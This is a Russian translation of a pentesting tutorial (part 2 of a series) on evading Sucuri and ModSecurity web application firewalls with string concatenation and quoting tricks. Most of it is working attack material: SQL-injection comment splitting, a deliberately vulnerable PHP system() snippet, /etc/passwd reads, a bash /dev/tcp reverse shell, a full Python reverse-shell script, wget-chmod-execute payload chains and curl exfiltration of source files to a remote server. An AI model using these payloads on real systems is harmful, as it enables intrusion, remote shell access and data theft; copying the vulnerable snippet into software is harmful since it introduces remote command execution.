Техники обхода файерволов веб-приложений (Web Application Firewall (WAF)) (ч. 2)


Источник: https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0

Первая часть: «Техники обхода файерволов веб-приложений (Web Application Firewall (WAF)) (ч. 1)».

Объединение строк в полезной нагрузке для удалённого выполнения команд даёт возможность обойти правила файерволов (Sucuri, ModSecurity)

В первой части техник обхода WAF, мы увидели, как обойти правило WAF используя подстановочные символы и, в частности, знак вопроса, который является одним из примеров подстановочных символов. Очевидно, что существует множество способов обойти набор правил WAF и я думаю каждая атака имеет свои специфичные техники обхода. Например: использование синтаксиса комментирования внутри полезной нагрузки SQL-инъекции может обойти многие фильтры. Я имею ввиду вместо использования union+select вы можете использовать что-то вроде:

/?id=1+un/**/ion+sel/**/ect+1,2,3--

Это отличная техника, она также работает когда целевой WAF имеет низкий уровень паранойи, который разрешает астериск (символ звёздочки *) и символ дефиса. Это должно работать только для SQL инъекции и это не может использоваться для эксплуатации Локального внедрения файлов (Local File Inclusion) или Удалённого выполнения команд (Remote Command Execution). В некоторых специфичных сценариях, настоящим «кошмаром» для WAF, которым нужно защищать веб приложения от атак удалённого выполнения команд, является конкатенация (объединение) строк.

Если вы хотите попрактиковаться с некоторыми из этих техник обхода, недавно я (в смысле автор theMiddle) создал FluxCapacitor — крайне уязвимую виртуальную машину на hackthebox. Эта статья не содержит каких либо подсказок для решения определённых сценариев FluxCapacitor, но может улучшить ваши знания об этой технике.

Примечания от меня (MiAl): даже чтобы просто зарегистрироваться, вам понадобятся навыки из статьи «Статический анализ исходного кода веб-сайта в браузере».

Конкатенация (объединение)

Во многих языках программирования, конкатенация строки — это бинарный инфиксный (это означает, что вставляется посередине) оператор. Оператор + (плюс) часто перегружается для обозначения конкатенации строковых аргументов: "Hello, " + "World" имеет значение "Hello, World". В других языках есть отдельный оператор специально для указания неявного преобразования типа в строку, в отличие от более сложного поведения универсального плюса. В качестве примеров можно привести . (точка) в Perl и PHP, .. (две точки) в Lua и так далее. Например:

php -r 'echo "hello"." world"."\n";'
hello world

python2 -c 'print "hello" + " world"'
hello world

Но если вы думаете, что это единственный способ объединить строки, вы абсолютно ошибаетесь.

В некоторых языках, таких как C, C++, Python и скриптовых языках / синтаксис которых может быть найден в Bash, есть нечто, называемое конкатенацией строковых литералов (string literal concatenation), что означает, что смежные строковые литералы объединяются без какого-либо оператора: "Hello, " "World" имеет значение "Hello, World". Это работает не только для команд printf и echo, но и для всего синтаксиса bash. Давайте начнём с начала.

Каждая из следующих команд имеет одинаковый результат:

echo test
echo 't'e's't
echo 'te'st
echo 'te'st''
echo 'te'''st''
python2 -c 'print "te" "st"'

Тесты конкатенации строк используя Bash и Python:

Это происходит потому, что все смежные строковые литералы объединяются в Bash. На самом деле 'te's't' составлена из трёх строк: строка te, строка s и строка t. Этот синтаксис может использоваться для обхода фильтра (или правила WAF), которое основывается на «совпадении фраз» (например как pm оператор в ModSecurity).

Правило SecRule ARGS "@pm passwd shadow groups"… в ModSecurity будет блокировать все запросы, содержащие passwd или shadow. Но что если мы конвертируем их в pa'ss'wd или sh'ad'ow? Как SQLi синтаксис, который мы видели ранее, и в котором запрос разбит с использованием комментариев, здесь также мы можем разбить имена файлов и системных команд используя единичную кавычку ' и составив группу объединяющихся строк. Конечно, вы можете использовать конкатенированную строку в качестве аргумента любой команды, но не только это… Bash позволяет нам объединять даже пути до исполнимых файлов!

Несколько примеров одних и тех же команд:

/bin/cat /etc/passwd
/bin/cat /e'tc'/pa'ss'wd
/bin/c'at' /e'tc'/pa'ss'wd
/b'i'n/c'a't /e't'c/p'a's's'w'd'

Используя конкатенированную строку в качестве аргумента команды cat или как пути до исполнимого файла cat:

Теперь давайте предположим, что вы обнаружили удалённое выполнение команд в параметре url вашего приложения. Если имеется правило, которое блокирует фразы вроде «что-либо, passwd, shadow, что-либо…», вы можете обойти это чем-то вроде такого:

curl .../?url=;+cat+/e't'c/pa'ss'wd

Настало время сделать несколько тестов! Я буду использовать следующий PHP код, чтобы проводить тесты, как и раньше, за защитой Sucuri WAF и ModSecurity. Вероятно, читая этот код вы думаете, что он слишком глупый и простой, и что никто не использует curl внутри функции system() вместо использования функции curl языка PHP… Если вы думаете так, вы живёте в мире, который лучше чем мой! 🙂 Вы удивитесь, как много раз я встречал такого рода вещи в исходном коде реальных производственных приложениях. PHP, который я буду использовать:


<?php
   if ( isset($_GET['zzz']) ) {
      system('curl -v '.$_GET['zzz']);
   }

Веселье с Sucuri WAF

Прежде всего я попытаюсь использовать это PHP приложение чтобы получить тело ответа google.com без кодирования значения параметра:

curl -v 'http://test1.unicresit.it/?zzz=google.com'

Это работает как ожидалось, страница google.com со статусом ответа 302 говорит, что мне следует пройти по адресу www.google.de (google правильно определил расположение моего сервера во Франкфурте):

Теперь много вещей, которые я могу делать, чтобы эксплуатировать это уязвимое приложение. Одна из них — это поломка синтаксиса curl с помощью ; (точки с запятой) и попытка выполнить другие системные команды. Sucuri злится, когда я пытаюсь прочитать файл /etc/passwd… Например:

curl -v 'http://test1.unicresit.it/?zzz=;+cat+/etc/passwd'

приводит к блокировке в Sucuri WAF по следующей причине «An attempted RFI/LFI was detected and blocked» (была обнаружена и заблокирована попытка удалённого/локального внедрения файлов). Я думаю (просто предположение, поскольку пользователи не могут видеть подробности правила Sucuri WAF), что правило Sucuri «RFI/LFI Attempt» использует что-то вроде «совпадение фраз» со списком обычных путей и имён файлов, таких как /etc/passwd. Этот WAF имеет очень минималистический набор правил и очень низкий «уровень паранойи», который позволяет мне обойти это правило используя просто две одинарных кавычки!


curl -v "http://test1.unicresit.it/?zzz=;+cat+/e'tc/pass'wd"

Обход Sucuri WAF используя две одинарных кавычки:

Я знаю, что вы думаете: «хорошо, ты можешь прочитать файл passwd обойдя все наборы правил WAF…, но реальный, самый большой и самый важный, мать всех вопросов такой: можешь ли ты получить шелл даже если Sucuri WAF активен и защищает ваше приложение?» natürlich да! Единственная проблема, что мы не можем использовать netcat, поскольку она не установлена в целевой контейнер и да: я проверил это используя удалённое выполнение команд 🙂

curl -s "http://test1.unicresit.it/?zzz=;+which+ls"
/bin/ls

curl -s "http://test1.unicresit.it/?zzz=;+which+nc"

Самый простой способ (с несколькими специальными символами, которые могут быть заблокированы в WAF), это использовать команду bash -i примерно так: bash -i >& /dev/tcp/1.1.1.1/1337 0>&1, но к сожалению это слишком сложно для обхода всех наборов правил с этой полезной нагрузкой, и это означает, что будет трудно использовать PHP, Perl или Python код чтобы получить его. Sucuri WAF блокирует мои попытки по причине «Obfuscated attack payload detected.» (обнаружена атака с обфусцированной полезной нагрузкой). Круто, не так ли?

Вместо попытки получить шелл отправляя команды напрямую через уязвимый параметр, я могу загрузить обратный шелл Python в директорию с правами записи используя curl или wget. Начнём с подготовки кода python в shell.py:

#!/usr/bin/python2
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Затем «поднимите» веб-сервер, доступный с целевой системы, как обычно, используя python2 -c SimpleHTTPServer или php -S, и т.д. Затем загрузите файл shell.py с целевого веб-сайта, я использовал следующий синтаксис:

curl -v '.../?zzz=<myip>:2375/shell.py+-o+/tmp/shell.py'

Шелл загруженный с помощью curl:

Обратный шелл на python через Sucuri WAF:


Окей, Sucuri WAF не блокирует этот запрос, но обычно ModSecurity блокирует подобную хрень 🙂 Если вы хотите быть уверенным, что обойдёте все типы правил «совпадения фраз», вы можете использовать wget + ip-в-длинной-нотации + объединение строки:

.../?zzz=wg'e't 168431108 -P tmp
.../?zzz=c'hm'od 777 -R tmp
.../?zzz=/t'm'p/index.html

Первая команда использует wget для загрузки шелла в /tmp/. Вторая использует chmod чтобы сделать его исполнимым и третья исполняет его. Как вы можете видеть, не указано имя файла в запросе к команде wget, поэтому загруженный файл назван самой wget как index.html. Вы можете изменить содержимое этого файла используя netcat nc записывая заголовки ответа и тело ответа вручную, как-то примерно как это показано на следующем скриншоте.

Использование netcat для ответа на HTTP запрос от RCE:

Теперь самая трудная часть…

Обход ModSecurity и OWASP Core Rule Set

Вероятно вы думаете, что с низким уровнем паранойи вы можете обойти OWASP Core Rule Set с этими техниками, как мы видели в первой статье… Хмм, в принципе, нет. Это из-за двух вещей, называемых normalizePath и cmdLine. В ModSecurity они называются «transformation function» (функции трансформации) и используются для изменения входных данных перед их проверкой на совпадение правилам (например, выполнение оператора). Входные данные никогда не изменяются. ModSecurity создаст копию данных, трансформирует их, и затем запустит оператор в отношении полученного результата.

normalizePath: он удаляет множественные слэши, ссылки директории на саму себя и обратные ссылки директории (за исключением начала ввода) из входной строки.

cmdLine: сломает все ваши мечты пентестера 🙂 разработан Марком Стернером (Marc Stern), эта функция трансформации избегает использование последовательностей экранирования, нормализуя значения параметров, и проверяет на все правила, такие как LFI, RCE, Unix команды и так далее. Например, перед оценкой по любым правилам /e't'c/pa'ss'wd нормализуется до /etc/passwd. Она делает многое! К примеру:

  • удаляет все обратные слэши \
  • удаляет все двойные кавычки "
  • удаляет все единичные кавычки '
  • удаляет все символы каретки ^
  • удаляет пробелы перед слэшами /
  • удаляет пробелы перед открытыми скобками (
  • заменяет все запятые , и точки с запятой ; на пробелы
  • заменяет все множественные пробелы (включая tab, newline и прочее) на один пробел
  • преобразует все буквы в нижний регистр

Все попытки эксплуатировать RCE с конкатенированной строкой блокируются правилом 932160, потому что функция трансформации cmdLine:

Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )"
"o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase"
"ruleId":"932160"

Хорошо, я не могу прочитать /etc/passwd, но я не отчаиваюсь! OWASP Core Rule Set знает распространённые файлы, пути и команды чтобы заблокировать их, но он не может делать это же самое с исходным кодом целевого приложения. Я не могу использовать символ точка с запятой ; (и это означает, что я не могу поломать синтаксис curl), но я могу использовать curl для эксфильтрации (выцеживания) файлов и отправки их на мой удалённый сервер. Это будет работать с уровнями паранойи от 0 до 3.

Этот трюк отправляет файлы на удалённый сервер в теле HTTP запроса POST. Это может делать curl с использованием параметра -d:

curl -d @/<file> <удалённый сервер>

В следующем запросе символ @ кодирован в %40:

curl ".../?zzz=-d+%40/usr/local/.../index.php+1.1.1.1:1337"

Эксфильтрация PHP файла с целевого приложения (за ModSecurity) на удалённый сервер:

Всё это не будет работать если цель имеет уровень паранойи установленный на 4, поскольку полезная нагрузка содержит такие символы как тире, слэш и так далее. Хорошая новость в том, что уровень паранойи 4 очень нечасто встречается в рабочей среде.


Обратный слэш — это новая одинарная кавычка 🙂

Эта же техника также работает с использованием символа обратного слэша \. Это не строка с конкатенацией, это просто символ экранирования:

На этом всё! Смотрите следующую часть цикла «Техники обхода файерволов веб-приложений (Web Application Firewall (WAF)) (ч. 3)».

Полезные ссылки:


Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *